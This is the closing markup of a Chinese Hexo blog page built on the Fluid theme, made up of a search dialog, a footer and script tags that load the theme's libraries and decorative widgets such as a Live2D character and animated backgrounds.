        <h4 class="modal-title w-100 font-weight-bold">搜索</h4>
        <button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body mx-3">
        <div class="md-form mb-5">
          <input type="text" id="local-search-input" class="form-control validate">
          <label data-error="x" data-success="v"
                 for="local-search-input">关键词</label>
        </div>
        <div class="list-group" id="local-search-result"></div>
      </div>
    </div>
  </div>
</div>
    

    
  </main>

  <footer class="text-center mt-5 py-3">
  <div class="footer-content">
     <a href="https://hexo.io" target="_blank" rel="nofollow noopener"><span>Hexo</span></a> <i class="iconfont icon-love"></i> <a href="https://github.com/fluid-dev/hexo-theme-fluid" target="_blank" rel="nofollow noopener"><span>Fluid</span></a> 
  </div>
  

  

  
</footer>


  <!-- SCRIPTS -->
  
  <script  src="https://cdn.jsdelivr.net/npm/nprogress@0.2.0/nprogress.min.js" ></script>
  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nprogress@0.2.0/nprogress.min.css" />

  <script>
    NProgress.configure({"showSpinner":false,"trickleSpeed":100})
    NProgress.start()
    window.addEventListener('load', function() {
      NProgress.done();
    })
  </script>


<script  src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js" ></script>
<script  src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.min.js" ></script>
<script  src="/js/events.js" ></script>
<script  src="/js/plugins.js" ></script>

<!-- Plugins -->


  
    <script  src="/js/img-lazyload.js" ></script>
  



  



  <script  src="https://cdn.jsdelivr.net/npm/tocbot@4.12.3/dist/tocbot.min.js" ></script>



  <script  src="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.js" ></script>



  <script  src="https://cdn.jsdelivr.net/npm/anchor-js@4.3.1/anchor.min.js" ></script>



  <script defer src="https://cdn.jsdelivr.net/npm/clipboard@2.0.8/dist/clipboard.min.js" ></script>



  <script  src="/js/local-search.js" ></script>






  <script  src="https://cdn.jsdelivr.net/npm/typed.js@2.0.12/lib/typed.min.js" ></script>
  <script>
    (function (window, document) {
      var typing = Fluid.plugins.typing;
      var title = document.getElementById('subtitle').title;
      
      typing(title)
      
    })(window, document);
  </script>














  
<script src="//cdn.jsdelivr.net/gh/bynotes/texiao/source/js/xiaoxuehua.js"></script>
<script src="//cdn.jsdelivr.net/gh/bynotes/texiao/source/js/caidai.js"></script>
<script src="//cdn.jsdelivr.net/gh/bynotes/texiao/source/js/love.js"></script>
<script src="//cdn.jsdelivr.net/npm/aplayer/dist/APlayer.min.js"></script>
<script src="//cdn.jsdelivr.net/gh/metowolf/MetingJS@1.2/dist/Meting.min.js"></script>



<!-- 主题的启动项 保持在最底部 -->
<script  src="/js/boot.js" ></script>

  <!--动态线条背景-->
  <script type="text/javascript" color="70,119,184" opacity='1' zIndex="-2" count="200" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"model":{"jsonPath":"/live2dw/assets/koharu.model.json"},"display":{"position":"left","width":200,"height":400},"mobile":{"show":false},"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
